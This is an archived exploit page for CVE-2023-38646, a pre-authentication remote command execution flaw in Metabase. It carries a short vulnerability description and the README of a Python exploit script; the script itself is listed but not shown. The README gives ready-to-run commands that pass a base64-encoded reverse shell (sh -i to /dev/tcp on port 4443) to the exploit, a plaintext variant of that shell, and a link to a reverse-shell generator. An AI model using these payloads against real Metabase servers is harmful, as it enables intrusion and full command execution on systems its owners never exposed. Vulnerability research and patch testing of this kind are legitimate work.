Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-38646 PoC — Metabase 安全漏洞

Source
Associated Vulnerability
Title:Metabase 安全漏洞 (CVE-2023-38646)
Description:Metabase是美国Metabase公司的一个开源数据分析平台。 Metabase 0.46.6.1之前版本和Metabase Enterprise 1.46.6.1之前版本存在安全漏洞,该漏洞源于允许攻击者以运行该服务的权限在服务器上执行任意命令。
Description
Python script to exploit CVE-2023-38646 Metabase Pre-Auth RCE via SQL injection
Readme
# CVE-2023-38646
Python script to exploit CVE-2023-38646 Metabase Pre-Auth RCE via SQL injection

The script will GET /api/session/properties to get the setup token and assess exploitability of the target. 
If it's vulnerable will then print the setup token, else it will quit after an error message.

If the `-x` option is used and the target is vulnerable, it will use the provided payload to attempt to exploit the vulnerability.

More information in this awesome writeup by the team who discovered the vulnerability:
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

```sh
Usage: CVE-2023-38646.py [-h] [-x BASE64 PAYLOAD] url

Metabase Pre-Auth RCE Exploit

positional arguments:
  url                Url of the metabase instance

optional arguments:
  -h, --help         Show this help message and exit
  -x BASE64_PAYLOAD  Exploits the vulnerability
```

If needed, you can quickly spin up a test environment in a docker container using this command :
```sh
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
```

After visiting http://127.0.0.1:3000/ to finish the setup, and starting a listener, <br>
You can exploit the RCE with something like this :
```sh
python3 ./CVE-2023-38646.py -x c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0MyAwPiYx http://127.0.0.1:3000/

# If you prefer this and use bash (or anything but fish really)
# you should be able to command substitution to encode your payload directly inline like so
python3 ./CVE-2023-38646.py -x $(echo "sh -i >& /dev/tcp/127.0.0.1/4443 0>&1" | base64) http://127.0.0.1:3000/
```
or just grab your own base64 encoded reverse shell by visiting [revshells.com](https://www.revshells.com/)
File Snapshot

[4.0K] /data/pocs/b97495bf33d8000b26956a8d91268078d6238aa6 ├── [2.1K] CVE-2023-38646.py └── [1.6K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.